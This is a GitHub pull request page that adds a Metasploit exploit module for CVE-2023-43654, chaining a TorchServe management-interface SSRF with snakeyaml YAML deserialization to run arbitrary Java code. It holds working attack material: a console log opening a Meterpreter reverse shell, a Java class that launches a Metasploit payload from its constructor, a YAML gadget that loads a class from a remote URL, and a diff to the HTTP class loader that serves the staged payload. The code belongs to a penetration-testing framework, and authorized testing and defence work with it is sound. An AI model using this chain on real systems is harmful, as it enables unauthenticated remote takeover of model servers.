Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Exploit For CVE-2023-43654 (PyTorch TorchServer SSRF + Deserialization RCE) #18427

Merged
merged 8 commits into from
Oct 12, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
## Vulnerable Application

The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an
unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management
interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The
second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR
model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a
YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.

PyTorch TorchServer versions prior to 0.8.2 are affected. This module was tested against version 0.8.1.

## Verification Steps

1. Install the application
* `docker run --rm -it -p 8080:8080 -p 8081:8081 pytorch/torchserve:0.8.1-cpu`
2. Start msfconsole
3. Do: `use exploit/multi/http/torchserver_cve_2023_43654`
4. Set the `RHOST`, `PAYLOAD` and payload-related options
5. Do: `run`
6. You should get a shell.

## Options

## Scenarios

### PyTorch TorchServer 0.8.1

```
msf6 exploit(multi/http/torchserver_cve_2023_43654) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/torchserver_cve_2023_43654) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/http/torchserver_cve_2023_43654) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/torchserver_cve_2023_43654) > run

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 0.8.1 is vulnerable.
[*] Using URL: http://192.168.159.128:9090/VLz5xafKtJOjBAv/
[*] Registering the model archive...
[+] Sending model archive
[*] Sending stage (57692 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 172.17.0.2:49662) at 2023-10-12 09:19:30 -0400
[*] Server stopped.

meterpreter > getuid
Server username: model-server
meterpreter > sysinfo
Computer : 187de8da4e1b
OS : Linux 6.2.15-100.fc36.x86_64 (amd64)
Architecture : x64
System Language : en_US
Meterpreter : java/linux
meterpreter > pwd
/home/model-server
meterpreter >
```
72 changes: 72 additions & 0 deletions external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
// javac -cp path/to/metasploit-framework/data/java MyScriptEngineFactory.java
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import metasploit.*;

public class MyScriptEngineFactory implements ScriptEngineFactory {
public MyScriptEngineFactory() throws Exception {
Payload.main(null);
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
25 changes: 25 additions & 0 deletions external/source/exploits/CVE-2022-1471/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
# Overview
The Java file contained within will load and execute a Metasploit payload. It's intended to be loaded as part of the
exploit for CVE-2022-1471 which is a YAML deserialization vulnerability within the snakeyaml project.

See https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in for more information.

## Compiling
It's necessary to specify the Metasploit Payloads data directory as the class path when compiling the code. See the
[metasploit-payloads][1] repository for instructions on how to compile the main Java payloads and install the data
files.

Compile the Java source file using `javac -cp path/to/metasploit-framework/data/java MyScriptEngineFactory.java`.

## Usage
Trigger the deserialization using the following YAML:
```yaml
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.0.2.1:8080/"]]]]
```

Host the compiled class on an HTTP server along with the file `/META-INF/services/javax.script.ScriptEngineFactory`. The
contents of this file should simply be the class name to load (`MyScriptEngineFactory`). See Metasploit's
`Msf::Exploit::Remote::Java::HTTP::ClassLoader` mixin for more information and the remaining components necessary to
deliver a Metasploit payload.

[1]: https://github.com/rapid7/metasploit-payloads/tree/master/java
42 changes: 26 additions & 16 deletions lib/msf/core/exploit/remote/java/http/class_loader.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,21 +13,25 @@ def initialize(info = {})
super(update_info(info,
'Stance' => Msf::Exploit::Stance::Aggressive
))

deregister_options('URIPATH')
end

def start_service(opts = {})
# XXX: This is a workaround until we can take SSL in opts
ssl = datastore['SSL']
datastore['SSL'] = false

super(opts.merge('Path' => '/'))
super

classloader_uri = get_uri
datastore['SSL'] = ssl
get_uri
end

classloader_uri
def resource_uri
return @resource_uri if @resource_uri
# the resource URI must end in / for the class loading to work
path = super
path += '/' unless path.end_with?('/')
@resource_uri = path
end

def on_request_uri(cli, request)
Expand All @@ -38,14 +42,16 @@ def on_request_uri(cli, request)
return
end

resource = request.raw_uri.delete_prefix(resource_uri)
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved

if request.method == 'HEAD'
whitelist = %W[
/#{class_name}.class
/metasploit/Payload.class
/metasploit.dat
#{class_name}.class
metasploit/Payload.class
metasploit.dat
]

unless whitelist.include?(request.uri)
unless whitelist.include?(resource)
vprint_error('Sending 404')
return send_not_found(cli)
end
Expand All @@ -54,22 +60,26 @@ def on_request_uri(cli, request)
return send_response(cli, '')
end

case request.uri
case resource
# Stage 1
when "/#{class_name}.class"
vprint_good('Sending constructor class')
when "#{class_name}.class"
vprint_good('Sending the constructor class')
# This contains the constructor that will call our JavaPayload
res = constructor_class
# Stage 2
when '/metasploit/Payload.class'
vprint_good('Sending payload class')
when 'metasploit/Payload.class'
vprint_good('Sending the main payload class')
# This is our JavaPayload as a compiled class
res = MetasploitPayloads.read('java/metasploit/Payload.class')
# Stage 3
when '/metasploit.dat'
vprint_good('Sending payload config')
when 'metasploit.dat'
vprint_good('Sending the payload configuration data')
# This tells the target how to address the payload; this is the magic!
res = payload_instance.stager_config
# (Optional) Stage 4 data for unstaged payloads such as java/shell_reverse_tcp
when /^javapayload\/stage\/(?:Shell|Stage|StreamForwarder)\.class$/
vprint_good("Sending additional payload class: #{resource}")
res = MetasploitPayloads.read("java/#{resource}")
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@sjanusz-r7 👀

Probably worth a quick check that this will work with the at-rest encryption for metasploit-payloads rapid7/metasploit-payloads#679

else
vprint_error('Sending 404')
return send_not_found(cli)
Expand Down
Loading